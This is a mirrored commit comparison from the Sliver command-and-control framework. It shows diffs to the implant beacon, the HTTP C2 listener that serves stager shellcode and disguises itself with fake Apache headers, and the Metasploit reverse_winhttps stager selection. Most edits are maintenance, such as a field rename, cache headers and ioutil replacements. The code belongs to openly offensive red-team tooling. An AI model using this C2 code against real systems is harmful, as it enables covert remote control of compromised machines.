mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
8
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e27e030431 | ||
|
|
4738bf229c | ||
|
|
c0a5a06efc | ||
|
|
97ff802a40 | ||
|
|
106c7f0427 | ||
|
|
37a46a21e0 | ||
|
|
060d1c40fd | ||
|
|
2fe9b56dc5 |
No files matched your search
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
return mtls.WriteEnvelope(conn, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
if conn != nil {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn = nil
|
||||
}
|
||||
conn = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
opts := dnsclient.ParseDNSOptions(uri)
|
||||
client, err = dnsclient.DNSStartSession(uri.Host, opts)
|
||||
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] dns connection error %s", err)
|
||||
|
||||
+29
-19
@@ -28,7 +28,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
@@ -79,10 +78,10 @@ var (
|
||||
|
||||
// HTTPSession - Holds data related to a sliver c2 session
|
||||
type HTTPSession struct {
|
||||
ID string
|
||||
ImplanConn *core.ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
Started time.Time
|
||||
ID string
|
||||
ImplantConn *core.ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
Started time.Time
|
||||
}
|
||||
|
||||
// HTTPSessions - All currently open HTTP sessions
|
||||
@@ -147,7 +146,7 @@ type SliverHTTPC2 struct {
|
||||
|
||||
func (s *SliverHTTPC2) getServerHeader() string {
|
||||
if serverVersionHeader == "" {
|
||||
switch insecureRand.Intn(1) {
|
||||
switch insecureRand.Intn(2) {
|
||||
case 0:
|
||||
serverVersionHeader = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
|
||||
default:
|
||||
@@ -172,7 +171,9 @@ func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
|
||||
}
|
||||
|
||||
// StartHTTPListener - Start an HTTP(S) listener, this can be used to start both
|
||||
// HTTP/HTTPS depending on the caller's conf
|
||||
//
|
||||
// HTTP/HTTPS depending on the caller's conf
|
||||
//
|
||||
// TODO: Better error handling, configurable ACME host/port
|
||||
func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
|
||||
@@ -360,6 +361,10 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
return router
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
|
||||
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
@@ -479,6 +484,7 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
|
||||
return err
|
||||
}
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(content)
|
||||
return nil
|
||||
}
|
||||
@@ -507,7 +513,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
body, err := ioutil.ReadAll(req.Body)
|
||||
body, err := io.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
s.defaultHandler(resp, req)
|
||||
@@ -563,7 +569,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
return
|
||||
}
|
||||
httpSession.CipherCtx = cryptography.NewCipherContext(sKey)
|
||||
httpSession.ImplanConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
|
||||
httpSession.ImplantConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
|
||||
s.HTTPSessions.Add(httpSession)
|
||||
httpLog.Infof("Started new session with http session id: %s", httpSession.ID)
|
||||
|
||||
@@ -580,6 +586,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
Secure: false,
|
||||
HttpOnly: true,
|
||||
})
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(encoder.Encode(responseCiphertext))
|
||||
}
|
||||
|
||||
@@ -590,7 +597,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplanConn.UpdateLastMessage()
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
@@ -609,16 +616,16 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
handlers := sliverHandlers.GetHandlers()
|
||||
if envelope.ID != 0 {
|
||||
httpSession.ImplanConn.RespMutex.RLock()
|
||||
defer httpSession.ImplanConn.RespMutex.RUnlock()
|
||||
if resp, ok := httpSession.ImplanConn.Resp[envelope.ID]; ok {
|
||||
httpSession.ImplantConn.RespMutex.RLock()
|
||||
defer httpSession.ImplantConn.RespMutex.RUnlock()
|
||||
if resp, ok := httpSession.ImplantConn.Resp[envelope.ID]; ok {
|
||||
resp <- envelope
|
||||
}
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
respEnvelope := handler(httpSession.ImplanConn, envelope.Data)
|
||||
respEnvelope := handler(httpSession.ImplantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
go func() {
|
||||
httpSession.ImplanConn.Send <- respEnvelope
|
||||
httpSession.ImplantConn.Send <- respEnvelope
|
||||
}()
|
||||
}
|
||||
}
|
||||
@@ -631,13 +638,13 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplanConn.UpdateLastMessage()
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.ImplanConn.Send:
|
||||
case envelope := <-httpSession.ImplantConn.Send:
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData)
|
||||
@@ -645,6 +652,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
httpLog.Errorf("Failed to encrypt message %s", err)
|
||||
ciphertext = []byte{}
|
||||
}
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
case <-req.Context().Done():
|
||||
httpLog.Debug("Poll client hang up")
|
||||
@@ -652,6 +660,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
case <-time.After(s.getServerPollTimeout()):
|
||||
httpLog.Debug("Poll time out")
|
||||
resp.WriteHeader(http.StatusNoContent)
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write([]byte{})
|
||||
}
|
||||
}
|
||||
@@ -665,7 +674,7 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(&io.LimitedReader{
|
||||
body, err := io.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
N: int64(s.ServerConf.MaxRequestLength),
|
||||
})
|
||||
@@ -723,6 +732,7 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
|
||||
httpLog.Debug("Stager request")
|
||||
if len(s.SliverStage) != 0 {
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(s.SliverStage)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
@@ -735,7 +745,7 @@ func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.ImplanConn.UpdateLastMessage()
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
return httpSession
|
||||
}
|
||||
}
|
||||
|
||||
@@ -373,31 +373,6 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkInterface verifies if an IP address
|
||||
// is attached to an existing network interface
|
||||
func checkInterface(a string) bool {
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, i := range interfaces {
|
||||
addresses, err := i.Addrs()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, netAddr := range addresses {
|
||||
addr, err := net.ResolveTCPAddr("tcp", netAddr.String())
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if addr.IP.String() == a {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Fuck'in Go - https://stackoverflow.com/questions/30815244/golang-https-server-passing-certfile-and-kyefile-in-terms-of-byte-array
|
||||
// basically the same as server.ListenAndServerTLS() but we can pass in byte slices instead of file paths
|
||||
func listenAndServeTLS(srv *http.Server, certPEMBlock, keyPEMBlock []byte) error {
|
||||
|
||||
@@ -187,7 +187,7 @@ func acceptWGSliverConnections(ln net.Listener) {
|
||||
func handleWGSliverConnection(conn net.Conn) {
|
||||
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
|
||||
implantConn := core.NewImplantConnection("wg", fmt.Sprintf("%s", conn.RemoteAddr()))
|
||||
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
|
||||
implantConn.UpdateLastMessage()
|
||||
defer func() {
|
||||
implantConn.Cleanup()
|
||||
|
||||
@@ -135,7 +135,9 @@ type NameValueProbability struct {
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
//
|
||||
// .js = poll
|
||||
//
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
@@ -233,7 +235,7 @@ var (
|
||||
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
|
||||
},
|
||||
Headers: []NameValueProbability{
|
||||
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
|
||||
// {Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
|
||||
@@ -21,7 +21,6 @@ package configs
|
||||
import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
@@ -152,7 +151,7 @@ func (c *ServerConfig) Save() error {
|
||||
return err
|
||||
}
|
||||
serverConfigLog.Infof("Saving config to %s", configPath)
|
||||
err = ioutil.WriteFile(configPath, data, 0600)
|
||||
err = os.WriteFile(configPath, data, 0600)
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to write config %s", err)
|
||||
}
|
||||
@@ -240,7 +239,7 @@ func GetServerConfig() *ServerConfig {
|
||||
configPath := GetServerConfigPath()
|
||||
config := getDefaultServerConfig()
|
||||
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to read config file %s", err)
|
||||
return config
|
||||
|
||||
@@ -60,6 +60,7 @@ var (
|
||||
"meterpreter/reverse_http": true,
|
||||
"meterpreter/reverse_https": true,
|
||||
"custom/reverse_winhttp": true,
|
||||
"custom/reverse_winhttps": true,
|
||||
"custom/reverse_tcp": true,
|
||||
},
|
||||
"linux": {
|
||||
|
||||
@@ -166,10 +166,11 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
|
||||
case clientpb.StageProtocol_TCP:
|
||||
payload = "meterpreter/reverse_tcp"
|
||||
case clientpb.StageProtocol_HTTP:
|
||||
fallthrough
|
||||
case clientpb.StageProtocol_HTTPS:
|
||||
payload = "custom/reverse_winhttp"
|
||||
uri = generateCallbackURI()
|
||||
case clientpb.StageProtocol_HTTPS:
|
||||
payload = "custom/reverse_winhttps"
|
||||
uri = generateCallbackURI()
|
||||
default:
|
||||
return MSFStage, errors.New("protocol not supported")
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user